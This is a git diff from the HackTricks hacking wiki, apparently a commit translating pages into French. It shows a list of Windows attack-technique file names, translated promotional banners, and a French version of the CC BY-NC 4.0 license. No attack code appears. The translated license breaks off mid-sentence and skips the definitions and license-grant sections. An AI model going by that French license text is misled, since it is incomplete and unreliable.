68 +- .../over-pass-the-hash-pass-the-key.md | 52 +- .../pass-the-ticket.md | 91 +- .../password-spraying.md | 96 +- .../printers-spooler-service-abuse.md | 111 +- .../printnightmare.md | 56 +- .../privileged-groups-and-token-privileges.md | 304 +- .../rdp-sessions-abuse.md | 44 +- .../resource-based-constrained-delegation.md | 158 +- .../security-descriptors.md | 56 +- .../sid-history-injection.md | 84 +- .../silver-ticket.md | 112 +- .../skeleton-key.md | 70 +- .../unconstrained-delegation.md | 74 +- .../authentication-credentials-uac-and-efs.md | 213 +- windows-hardening/av-bypass.md | 341 +- windows-hardening/basic-cmd-for-pentesters.md | 854 +- .../basic-powershell-for-pentesters/README.md | 276 +- .../powerview.md | 158 +- .../checklist-windows-privilege-escalation.md | 142 +- windows-hardening/lateral-movement/README.md | 24 +- .../lateral-movement/dcom-exec.md | 88 +- windows-hardening/ntlm/README.md | 187 +- windows-hardening/ntlm/atexec.md | 40 +- .../ntlm/places-to-steal-ntlm-creds.md | 306 +- windows-hardening/ntlm/psexec-and-winexec.md | 48 +- windows-hardening/ntlm/smbexec.md | 58 +- windows-hardening/ntlm/winrm.md | 28 +- windows-hardening/ntlm/wmicexec.md | 136 +- .../stealing-credentials/README.md | 248 +- .../credentials-mimikatz.md | 350 +- .../credentials-protections.md | 144 +- .../README.md | 945 +- .../access-tokens.md | 86 +- .../acls-dacls-sacls-aces.md | 232 +- ...ectory-permission-over-service-registry.md | 177 +- .../com-hijacking.md | 62 +- .../create-msi-with-wix.md | 44 +- .../dll-hijacking.md | 153 +- ...ritable-sys-path-+dll-hijacking-privesc.md | 74 +- .../dpapi-extracting-passwords.md | 150 +- ...igh-integrity-to-system-with-name-pipes.md | 40 +- .../integrity-levels.md | 89 +- .../jaws.md | 65 +- .../juicypotato.md | 116 +- .../leaked-handle-exploitation.md | 107 +- .../msi-wrapper.md | 34 +- .../named-pipe-client-impersonation.md | 322 +- .../powerup.md | 64 +- .../README.md | 138 +- .../abuse-seloaddriverprivilege.md | 94 +- ...vilege-escalation-with-autorun-binaries.md | 168 +- .../roguepotato-and-printspoofer.md | 48 +- .../rottenpotato.md | 46 +- .../seatbelt.md | 50 +- .../sedebug-+-seimpersonate-copy-token.md | 43 +- .../seimpersonate-from-high-to-system.md | 120 +- .../windows-c-payloads.md | 30 +- .../uac-user-account-control.md | 199 +- 732 files changed, 51667 insertions(+), 56181 deletions(-) diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md index 22ab58c51..3b8a44a45 100644 --- a/1911-pentesting-fox.md +++ b/1911-pentesting-fox.md @@ -4,17 +4,17 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -And more services: +Et plus de services : -ubiquiti-discover udp "Ubiquiti Networks Device" +ubiquiti-découverte udp "Ubiquiti Networks Device" dht udp "DHT Nodes" @@ -22,7 +22,7 @@ dht udp "DHT Nodes" ![](<.gitbook/assets/image (273).png>) -![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>) +![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>) InfluxDB @@ -40,10 +40,10 @@ InfluxDB ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/6881-udp-pentesting-bittorrent.md b/6881-udp-pentesting-bittorrent.md index e4ae0b9f2..cb79f0d20 100644 --- a/6881-udp-pentesting-bittorrent.md +++ b/6881-udp-pentesting-bittorrent.md @@ -1,38 +1,15 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/LICENSE.md b/LICENSE.md index 4de1926cf..4ec89345f 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,208 +1,136 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-Creative Commons License
Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on HACK TRICKS by Carlos Polop is licensed under the Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0). +Creative Commons License
Droit d'auteur © Carlos Polop 2021. Sauf indication contraire (les informations externes copiées dans le livre appartiennent aux auteurs originaux), le texte sur HACK TRICKS de Carlos Polop est sous licence Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0). -License: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)
-Human Readable License: https://creativecommons.org/licenses/by-nc/4.0/
-Complete Legal Terms: https://creativecommons.org/licenses/by-nc/4.0/legalcode
-Formatting: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown
+Licence : Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)
+Licence lisible par l'homme : https://creativecommons.org/licenses/by-nc/4.0/
+Conditions légales complètes : https://creativecommons.org/licenses/by-nc/4.0/legalcode
+Formatage : https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown
# creative commons # Attribution-NonCommercial 4.0 International -Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible. +Creative Commons Corporation ("Creative Commons") n'est pas un cabinet d'avocats et ne fournit pas de services juridiques ou de conseils juridiques. La distribution de licences publiques Creative Commons ne crée pas de relation avocat-client ou autre. Creative Commons met ses licences et les informations connexes à disposition "telles quelles". Creative Commons ne donne aucune garantie concernant ses licences, tout matériel sous licence en vertu de leurs termes et conditions, ou toute information connexe. Creative Commons décline toute responsabilité pour les dommages résultant de leur utilisation dans la mesure du possible. -## Using Creative Commons Public Licenses +## Utilisation des licences publiques Creative Commons -Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses. +Les licences publiques Creative Commons fournissent un ensemble standard de termes et conditions que les créateurs et autres titulaires de droits peuvent utiliser pour partager des œuvres originales et d'autres matériaux soumis au droit d'auteur et à certains autres droits spécifiés dans la licence publique ci-dessous. Les considérations suivantes sont à titre informatif seulement, ne sont pas exhaustives et ne font pas partie de nos licences. -* __Considerations for licensors:__ Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. [More considerations for licensors](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). +* __Considérations pour les concédants de licence :__ Nos licences publiques sont destinées à être utilisées par ceux qui sont autorisés à donner au public la permission d'utiliser du matériel de manière autrement restreinte par le droit d'auteur et certains autres droits. Nos licences sont irrévocables. Les concédants de licence doivent lire et comprendre les termes et conditions de la licence qu'ils choisissent avant de l'appliquer. Les concédants de licence doivent également obtenir tous les droits nécessaires avant d'appliquer nos licences afin que le public puisse réutiliser le matériel comme prévu. Les concédants de licence doivent clairement marquer tout matériel qui n'est pas soumis à la licence. Cela inclut d'autres matériaux sous licence CC, ou des matériaux utilisés en vertu d'une exception ou d'une limitation au droit d'auteur. [Plus de considérations pour +## Section 3 - Conditions de licence. -* __Considerations for the public:__ By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). - -# Creative Commons Attribution-NonCommercial 4.0 International Public License - -By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions. - -## Section 1 – Definitions. - -a. __Adapted Material__ means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image. - -b. __Adapter's License__ means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License. - -c. __Copyright and Similar Rights__ means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights. - -d. __Effective Technological Measures__ means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements. - -e. __Exceptions and Limitations__ means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material. - -f. __Licensed Material__ means the artistic or literary work, database, or other material to which the Licensor applied this Public License. - -g. __Licensed Rights__ means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license. - -h. __Licensor__ means the individual(s) or entity(ies) granting rights under this Public License. - -i. __NonCommercial__ means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange. - -j. __Share__ means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them. - -k. __Sui Generis Database Rights__ means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world. - -l. __You__ means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning. - -## Section 2 – Scope. - -a. ___License grant.___ - - 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to: - - A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and - - B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only. - - 2. __Exceptions and Limitations.__ For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions. - - 3. __Term.__ The term of this Public License is specified in Section 6(a). - - 4. __Media and formats; technical modifications allowed.__ The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material. - - 5. __Downstream recipients.__ - - A. __Offer from the Licensor – Licensed Material.__ Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License. - - B. __No downstream restrictions.__ You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material. - - 6. __No endorsement.__ Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i). - -b. ___Other rights.___ - - 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise. - - 2. Patent and trademark rights are not licensed under this Public License. - - 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes. - -## Section 3 – License Conditions. - -Your exercise of the Licensed Rights is expressly made subject to the following conditions. +L'exercice de vos droits sous licence est expressément soumis aux conditions suivantes. a. ___Attribution.___ - 1. If You Share the Licensed Material (including in modified form), You must: + 1. Si vous partagez le Matériel sous licence (y compris sous forme modifiée), vous devez : - A. retain the following if it is supplied by the Licensor with the Licensed Material: + A. conserver les éléments suivants s'ils sont fournis par le concédant avec le Matériel sous licence : - i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated); + i. l'identification des créateurs du Matériel sous licence et de toute autre personne désignée pour recevoir une attribution, de toute manière raisonnable demandée par le concédant (y compris par pseudonyme si désigné) ; - ii. a copyright notice; + ii. un avis de droit d'auteur ; - iii. a notice that refers to this Public License; + iii. un avis qui se réfère à cette Licence publique ; - iv. a notice that refers to the disclaimer of warranties; + iv. un avis qui se réfère à la clause de non-responsabilité ; - v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable; + v. un URI ou un hyperlien vers le Matériel sous licence dans la mesure du raisonnablement possible ; - B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and + B. indiquer si vous avez modifié le Matériel sous licence et conserver une indication de toutes les modifications précédentes ; et - C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License. + C. indiquer que le Matériel sous licence est sous licence en vertu de cette Licence publique, et inclure le texte de cette Licence publique ou l'URI ou l'hyperlien vers cette Licence publique. - 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information. + 2. Vous pouvez satisfaire les conditions de la Section 3(a)(1) de toute manière raisonnable en fonction du support, des moyens et du contexte dans lesquels vous partagez le Matériel sous licence. Par exemple, il peut être raisonnable de satisfaire les conditions en fournissant un URI ou un hyperlien vers une ressource qui inclut les informations requises. - 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable. + 3. Si le concédant le demande, vous devez supprimer toutes les informations requises par la Section 3(a)(1)(A) dans la mesure du raisonnablement possible. - 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License. + 4. Si vous partagez du Matériel adapté que vous produisez, la Licence de l'Adaptateur que vous appliquez ne doit pas empêcher les destinataires du Matériel adapté de se conformer à cette Licence publique. -## Section 4 – Sui Generis Database Rights. +## Section 4 - Droits de base de données sui generis. -Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material: +Lorsque les droits sous licence incluent des droits de base de données sui generis qui s'appliquent à votre utilisation du Matériel sous licence : -a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only; +a. pour éviter tout doute, la Section 2(a)(1) vous accorde le droit d'extraire, de réutiliser, de reproduire et de partager tout ou une partie substantielle du contenu de la base de données à des fins non commerciales uniquement ; -b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and +b. si vous incluez tout ou une partie substantielle du contenu de la base de données dans une base de données pour laquelle vous avez des droits de base de données sui generis, alors la base de données pour laquelle vous avez des droits de base de données sui generis (mais pas son contenu individuel) est un Matériel adapté ; et -c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database. +c. vous devez vous conformer aux conditions de la Section 3(a) si vous partagez tout ou une partie substantielle du contenu de la base de données. -For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights. +Pour éviter tout doute, cette Section 4 complète et ne remplace pas vos obligations en vertu de cette Licence publique lorsque les droits sous licence incluent d'autres droits d'auteur et droits similaires. -## Section 5 – Disclaimer of Warranties and Limitation of Liability. +## Section 5 - Clause de non-responsabilité et limitation de responsabilité. -a. __Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.__ +a. __Sauf disposition contraire expressément prise par le concédant, dans la mesure du possible, le concédant offre le Matériel sous licence tel quel et tel que disponible, et ne fait aucune déclaration ou garantie d'aucune sorte concernant le Matériel sous licence, qu'elle soit expresse, implicite, légale ou autre. Cela inclut, sans s'y limiter, les garanties de titre, de qualité marchande, d'adéquation à un usage particulier, de non-contrefaçon, d'absence de défauts latents ou autres, d'exactitude ou de présence ou d'absence d'erreurs, qu'elles soient connues ou découvrables. Lorsque les exclusions de garanties ne sont pas autorisées en totalité ou en partie, cette exclusion peut ne pas s'appliquer à vous.__ -b. __To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.__ +b. __Dans la mesure du possible, en aucun cas, le concédant ne sera responsable envers vous pour quelque théorie juridique que ce soit (y compris, sans s'y limiter, la négligence) ou autrement pour toute perte directe, spéciale, indirecte, accessoire, consécutive, punitive, exemplaire ou autre, coûts, dépenses ou dommages découlant de cette Licence publique ou de l'utilisation du Matériel sous licence, même si le concédant a été informé de la possibilité de telles pertes, coûts, dépenses ou dommages. Lorsqu'une limitation de responsabilité n'est pas autorisée en totalité ou en partie, cette limitation peut ne pas s'appliquer à vous.__ -c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability. +c. La clause de non-responsabilité et la limitation de responsabilité fournies ci-dessus seront interprétées de manière à se rapprocher le plus possible d'une exclusion et d'une renonciation absolues de toute responsabilité. -## Section 6 – Term and Termination. +## Section 6 - Durée et résiliation. -a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically. +a. Cette Licence publique s'applique pendant la durée des droits d'auteur et des droits similaires concédés ici. Cependant, si vous ne respectez pas cette Licence publique, vos droits en vertu de cette Licence publique se terminent automatiquement. -b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates: +b. Lorsque votre droit d'utiliser le Matériel sous licence a pris fin en vertu de la Section 6(a), il est rétabli : - 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or + 1. automatiquement à la date à laquelle la violation est corrigée, à condition qu'elle soit corrigée dans les 30 jours suivant votre découverte de la violation ; ou - 2. upon express reinstatement by the Licensor. + 2. sur réinstatement express du concédant. - For the avoidance of doubt, this Section 